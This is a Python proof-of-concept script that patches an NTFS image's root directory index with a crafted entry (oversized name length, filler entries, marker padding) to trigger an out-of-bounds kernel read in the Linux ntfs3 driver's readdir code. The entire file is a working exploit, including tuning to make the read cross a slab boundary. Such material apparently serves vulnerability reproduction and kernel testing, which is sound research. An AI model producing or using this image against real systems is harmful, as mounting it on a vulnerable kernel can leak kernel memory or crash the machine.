#!/usr/bin/env python3
"""
craft_poc.py - patch an NTFS image to plant a malicious INDEX_ROOT entry that
triggers ntfs3 dir.c:308 readdir OOB read.

Usage:
  ./craft_poc.py                           # generate base.img + patch -> poc.img
  ./craft_poc.py base.img poc.img          # patch existing base.img -> poc.img

The patcher modifies the root directory's $INDEX_ROOT to insert one malicious
NTFS_DE entry just before the sentinel:
  e->size      = 0x111
  e->key_size  = 0x44
  fname->name_len = 0xFF       (UTF-16 word count, treated-as-bytes by buggy check)
  fname->type  = 2 (WIN32)
  fname->home  = root MFT_REF
  fname->dup   = zero (so dir.c:336 iget5 branch is skipped)
  bytes 0x52..0x111 = repeating "AB" UTF-16 marker  (in-bounds region)

Buggy check at dir.c:308 evaluates 255+16 > 273 -> false -> falls through.
Kernel reads 510 bytes UTF-16 starting at e+0x52, reaching e+0x250 -> 319 bytes
OOB past the entry boundary.
"""
import os, sys, struct, subprocess, shutil

IMAGE_SIZE = 64 * 1024 * 1024


def make_baseline(path):
    if os.path.exists(path):
        os.unlink(path)
    with open(path, 'wb') as f:
        f.truncate(IMAGE_SIZE)
    subprocess.check_call(
        ['mkfs.ntfs', '-F', '-Q', '-L', 'poc', path],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)


def parse_boot(buf):
    assert buf[3:11] == b'NTFS    ', "not an NTFS image"
    bps = struct.unpack_from('<H', buf, 0x0B)[0]
    spc = buf[0x0D]
    cluster_size = bps * spc
    mft_lcn = struct.unpack_from('<Q', buf, 0x30)[0]
    rs = struct.unpack_from('<b', buf, 0x40)[0]
    record_size = rs * cluster_size if rs > 0 else (1 << -rs)
    return cluster_size, mft_lcn, record_size


def usa_fixup_in(buf):
    """Apply USA: restore real last-2-bytes of each protected sector."""
    fix_off = struct.unpack_from('<H', buf, 0x04)[0]
    fix_num = struct.unpack_from('<H', buf, 0x06)[0]
    for i in range(1, fix_num):
        usa_pos = fix_off + 2 * i
        sec_end = i * 512 - 2
        struct.pack_into('<2s', buf, sec_end, bytes(buf[usa_pos:usa_pos + 2]))


def usa_fixup_out(buf):
    """After modifying record bytes: bump USN, save sector-end words to USA,
    overwrite sector-ends with USN."""
    fix_off = struct.unpack_from('<H', buf, 0x04)[0]
    fix_num = struct.unpack_from('<H', buf, 0x06)[0]
    usn = (struct.unpack_from('<H', buf, fix_off)[0] + 1) & 0xFFFF
    if usn in (0, 0xFFFF):
        usn = 1
    struct.pack_into('<H', buf, fix_off, usn)
    for i in range(1, fix_num):
        usa_pos = fix_off + 2 * i
        sec_end = i * 512 - 2
        struct.pack_into('<2s', buf, usa_pos, bytes(buf[sec_end:sec_end + 2]))
        struct.pack_into('<H', buf, sec_end, usn)


def mft_record_offset(cluster_size, mft_lcn, record_size, n):
    return mft_lcn * cluster_size + n * record_size


def build_filler_de(home_ref, child_rec, ascii_name):
    """Build a small valid NTFS_DE (0x58 bytes) with a 1-char name.
    Used to push the malicious entry far enough into the MFT-record buffer
    that the 510-byte OOB read crosses the slab boundary."""
    assert len(ascii_name) == 1
    de = bytearray(0x58)
    struct.pack_into('<Q', de, 0x00, child_rec | (1 << 48))
    struct.pack_into('<H', de, 0x08, 0x58)             # size
    struct.pack_into('<H', de, 0x0A, 0x44)             # key_size (matches name_len=1)
    struct.pack_into('<H', de, 0x0C, 0x0000)           # flags
    struct.pack_into('<H', de, 0x0E, 0x0000)           # res

    struct.pack_into('<Q', de, 0x10 + 0x00, home_ref)  # home
    de[0x10 + 0x40] = 1                                # name_len = 1
    de[0x10 + 0x41] = 1                                # type = UNICODE
    struct.pack_into('<H', de, 0x10 + 0x42, ord(ascii_name))  # name[0]
    return de


def build_malicious_de(home_ref):
    """Build the malicious NTFS_DE (0x111 bytes)."""
    de = bytearray(0x111)
    # NTFS_DE header (16 bytes)
    # ref: pick record 32, seq 1 (>=24 to pass non-meta check at dir.c:302)
    struct.pack_into('<Q', de, 0x00, 32 | (1 << 48))
    struct.pack_into('<H', de, 0x08, 0x111)            # size
    struct.pack_into('<H', de, 0x0A, 0x44)             # key_size (>= SIZEOF_ATTRIBUTE_FILENAME)
    struct.pack_into('<H', de, 0x0C, 0x0000)           # flags (not LAST)
    struct.pack_into('<H', de, 0x0E, 0x0000)           # res

    # ATTR_FILE_NAME at +0x10
    # home (parent ref) - must satisfy mi_is_ref check at dir.c:293
    struct.pack_into('<Q', de, 0x10 + 0x00, home_ref)
    # dup info bytes 0x08..0x40 left zero (so dup.extend_data=0 -> skip iget5)
    de[0x10 + 0x40] = 0xFF                             # name_len (UTF-16 word count)
    de[0x10 + 0x41] = 0x01                             # type = UNICODE (NOT 2 = DOS, which is short-circuited at dir.c:290)

    # name[] starts at 0x10 + 0x42 = 0x52
    # In-bounds region 0x52..0x111 (= 0xBF bytes). Fill with UTF-16 marker 'AB' = 0x41 0x00 0x42 0x00
    # (each word non-zero, so utf16->nls converter doesn't NUL-terminate early)
    marker = b'\x41\x00\x42\x00'
    region_len = 0x111 - 0x52
    pad = (marker * ((region_len // 4) + 1))[:region_len]
    de[0x52:0x111] = pad
    return de


def patch(img_path):
    with open(img_path, 'r+b') as f:
        boot = f.read(512)
        cs, mft_lcn, rs = parse_boot(boot)
        print(f"[+] cluster={cs} mft_lcn={mft_lcn} (off={mft_lcn*cs:#x}) record_size={rs}")

        ro = mft_record_offset(cs, mft_lcn, rs, 5)
        f.seek(ro)
        rec = bytearray(f.read(rs))
        assert rec[0:4] == b'FILE', f"bad MFT record magic at {ro:#x}: {rec[:4]!r}"
        usa_fixup_in(rec)

        # Read MFT record fields
        attr_off = struct.unpack_from('<H', rec, 0x14)[0]
        flags_rec = struct.unpack_from('<H', rec, 0x16)[0]
        used = struct.unpack_from('<I', rec, 0x18)[0]
        rec_total = struct.unpack_from('<I', rec, 0x1C)[0]
        seq = struct.unpack_from('<H', rec, 0x10)[0]
        print(f"[+] root MFT: seq={seq} attr_off={attr_off:#x} used={used:#x} total={rec_total:#x} flags={flags_rec:#x}")
        assert flags_rec & 0x02, "record 5 not marked as directory"

        # Walk attrs to find $INDEX_ROOT (type 0x90)
        ir_off = None
        cur = attr_off
        while cur < used:
            atype = struct.unpack_from('<I', rec, cur)[0]
            if atype == 0xFFFFFFFF:
                break
            asize = struct.unpack_from('<I', rec, cur + 4)[0]
            assert asize > 0 and cur + asize <= used
            if atype == 0x90:
                ir_off = cur
                ir_size = asize
                break
            cur += asize
        assert ir_off is not None, "no $INDEX_ROOT attr in root MFT record"

        non_res = rec[ir_off + 8]
        assert non_res == 0, "$INDEX_ROOT must be resident"
        data_off = struct.unpack_from('<H', rec, ir_off + 0x14)[0]
        data_size = struct.unpack_from('<I', rec, ir_off + 0x10)[0]
        print(f"[+] $INDEX_ROOT at {ir_off:#x} size={ir_size:#x} data_off={data_off:#x} data_size={data_size:#x}")

        # INDEX_ROOT preamble (16 bytes) + INDEX_HDR
        ir_data_off = ir_off + data_off
        ihdr_off = ir_data_off + 0x10
        de_off_rel = struct.unpack_from('<I', rec, ihdr_off + 0)[0]
        used_idx = struct.unpack_from('<I', rec, ihdr_off + 4)[0]
        total_idx = struct.unpack_from('<I', rec, ihdr_off + 8)[0]
        print(f"[+] INDEX_HDR de_off={de_off_rel:#x} used={used_idx:#x} total={total_idx:#x}")

        # Walk entries to find sentinel (NTFS_IE_LAST = 0x02)
        cur = ihdr_off + de_off_rel
        end = ihdr_off + used_idx
        sentinel_off = None
        n_entries = 0
        while cur < end:
            de_size = struct.unpack_from('<H', rec, cur + 0x08)[0]
            de_flags = struct.unpack_from('<H', rec, cur + 0x0C)[0]
            if de_flags & 0x0002:
                sentinel_off = cur
                break
            assert de_size >= 0x10
            cur += de_size
            n_entries += 1
        assert sentinel_off is not None, "no sentinel found in $INDEX_ROOT"
        print(f"[+] {n_entries} existing entries; sentinel at {sentinel_off-ihdr_off:#x}")

        # Construct malicious DE
        home_ref = 5 | (seq << 48)  # root MFT_REF: rec=5, seq=root's seq
        mal = build_malicious_de(home_ref)

        # KASAN cross-slab variant: prepend filler entries so the malicious entry
        # lands deep enough in the 1024-byte MFT-record buffer that the 510-byte
        # read past e+0x52 crosses the slab object boundary.
        # MFT record buffer is kmalloc-1024 (kzalloc(record_size) in mi_get).
        # Read end = entry_offset + 0x52 + 510 = entry_offset + 0x250.
        # To cross 1024 boundary: entry_offset > 1024 - 0x250 = 0x1B0.
        # entries' relative-to-INDEX_HDR-start offsets (de_off=0x10 typically),
        # so absolute = ihdr_off + de_off + sum(prior_entry_sizes).
        # Plant 2 fillers of 0x58 each -> malicious offset = ihdr_off + 0x10 + 0xB0 = ihdr_off + 0xC0.
        # In a typical record: ihdr_off ~ 0x158, so malicious at ~0x218 (= 536), read end ~0x468 -> ~104 bytes past slab.
        fillers = [
            build_filler_de(home_ref, 0x21, 'a'),
            build_filler_de(home_ref, 0x22, 'b'),
        ]
        filler_total = sum(len(x) for x in fillers)
        new_used_idx = used_idx + filler_total + 0x111
        new_ir_data_size = 0x10 + new_used_idx
        # Resident attrs are 8-byte aligned overall
        new_attr_size = (data_off + new_ir_data_size + 7) & ~7
        delta = new_attr_size - ir_size
        # We're going to set new used = ir_off + new_attr_size + 4 (for end marker)
        new_used_rec_estimate = ir_off + new_attr_size + 4
        print(f"[+] new attr size={new_attr_size:#x}; rec used {used:#x} -> {new_used_rec_estimate:#x}/{rec_total:#x}")
        if new_used_rec_estimate > rec_total:
            raise SystemExit(f"[-] won't fit in MFT record (have {rec_total:#x}, need >= {new_used_rec_estimate:#x}).")

        # Drop trailing $INDEX_ALLOCATION/$BITMAP attrs (they introduce NUL UTF-16
        # words in their type/size fields that terminate utf16s_to_utf8s before
        # the OOB read crosses the slab boundary). Place an end-marker right
        # after $INDEX_ROOT, then pad the rest of the record with non-NUL marker.
        # mi_enum_attr (record.c:245) requires `off + 8 <= used`, so reserve 8
        # bytes past last attr (end-marker is only 4 bytes; need 4 more).
        end_marker_off = ir_off + new_attr_size
        struct.pack_into('<I', rec, end_marker_off, 0xFFFFFFFF)
        new_used_rec = end_marker_off + 8  # mi_enum_attr needs `used` >= off+8

        # Fill EVERYTHING past the end-marker (including the 4-byte +8-pad) with
        # non-NUL UTF-16 LE marker. The OOB read just reads bytes; mi_enum_attr
        # only validates `used >= off+8`, not what's actually there.
        post_marker_start = end_marker_off + 4
        post_marker_end = rec_total
        if post_marker_end > post_marker_start:
            mk = b'\x49\x00\x4A\x00' * ((post_marker_end - post_marker_start) // 4 + 1)
            rec[post_marker_start:post_marker_end] = mk[:post_marker_end - post_marker_start]

        # Write filler entries first, then malicious, then new sentinel.
        write_off = sentinel_off  # original sentinel position == start of new entries
        for filler in fillers:
            rec[write_off:write_off + len(filler)] = filler
            write_off += len(filler)

        mal_offset = write_off
        rec[mal_offset:mal_offset + 0x111] = mal
        write_off += 0x111

        # New sentinel; ref filled with marker so initial OOB-read words are non-NUL.
        new_sent = bytearray(0x10)
        new_sent[0x00:0x08] = b'\x43\x00\x44\x00\x43\x00\x44\x00'  # 'CDCD'
        struct.pack_into('<H', new_sent, 0x08, 0x10)        # size (required)
        struct.pack_into('<H', new_sent, 0x0A, 0x0045)      # key_size marker
        struct.pack_into('<H', new_sent, 0x0C, 0x0002)      # flags = NTFS_IE_LAST (required)
        struct.pack_into('<H', new_sent, 0x0E, 0x0046)      # res marker
        rec[write_off:write_off + 0x10] = new_sent
        write_off += 0x10

        # Splash marker between sentinel-end and trailing-attrs so OOB shows clearly.
        gap_start = write_off
        gap_end = ir_off + new_attr_size
        if gap_end > gap_start:
            gap = b'\x47\x00\x48\x00' * ((gap_end - gap_start) // 4 + 1)
            rec[gap_start:gap_end] = gap[:gap_end - gap_start]

        print(f"[+] Filler entries: {len(fillers)} x 0x58 = 0x{filler_total:x}")
        print(f"[+] Malicious entry at record offset 0x{mal_offset:x}")
        print(f"[+] OOB read end at record offset 0x{mal_offset + 0x52 + 510:x} (record size 0x{rec_total:x})")
        if mal_offset + 0x52 + 510 > rec_total:
            print(f"[+] CROSS-SLAB OOB by 0x{mal_offset + 0x52 + 510 - rec_total:x} bytes — KASAN should fire")

        # Update INDEX_HDR
        struct.pack_into('<I', rec, ihdr_off + 4, new_used_idx)
        if total_idx < new_used_idx:
            struct.pack_into('<I', rec, ihdr_off + 8, new_used_idx)

        # Update INDEX_ROOT attribute headers
        struct.pack_into('<I', rec, ir_off + 4, new_attr_size)
        struct.pack_into('<I', rec, ir_off + 0x10, new_ir_data_size)

        # Update MFT record `used`
        struct.pack_into('<I', rec, 0x18, new_used_rec)

        # Re-apply USA fixup
        usa_fixup_out(rec)

        # Write back
        f.seek(ro)
        f.write(rec)
        print(f"[+] patched root MFT record at offset {ro:#x}")
        print(f"[+] malicious entry at INDEX_HDR offset {sentinel_off-ihdr_off:#x} (new sentinel at +{0x111:#x})")


def main():
    if len(sys.argv) == 1:
        base, poc = 'base.img', 'poc.img'
        print(f"[+] Creating baseline {base} ({IMAGE_SIZE//1024//1024} MB)")
        make_baseline(base)
        shutil.copyfile(base, poc)
        patch(poc)
    elif len(sys.argv) == 3:
        base, poc = sys.argv[1], sys.argv[2]
        shutil.copyfile(base, poc)
        patch(poc)
    else:
        print(__doc__)
        sys.exit(1)
    print(f"[+] PoC image ready: {sys.argv[2] if len(sys.argv)==3 else 'poc.img'}")


if __name__ == '__main__':
    main()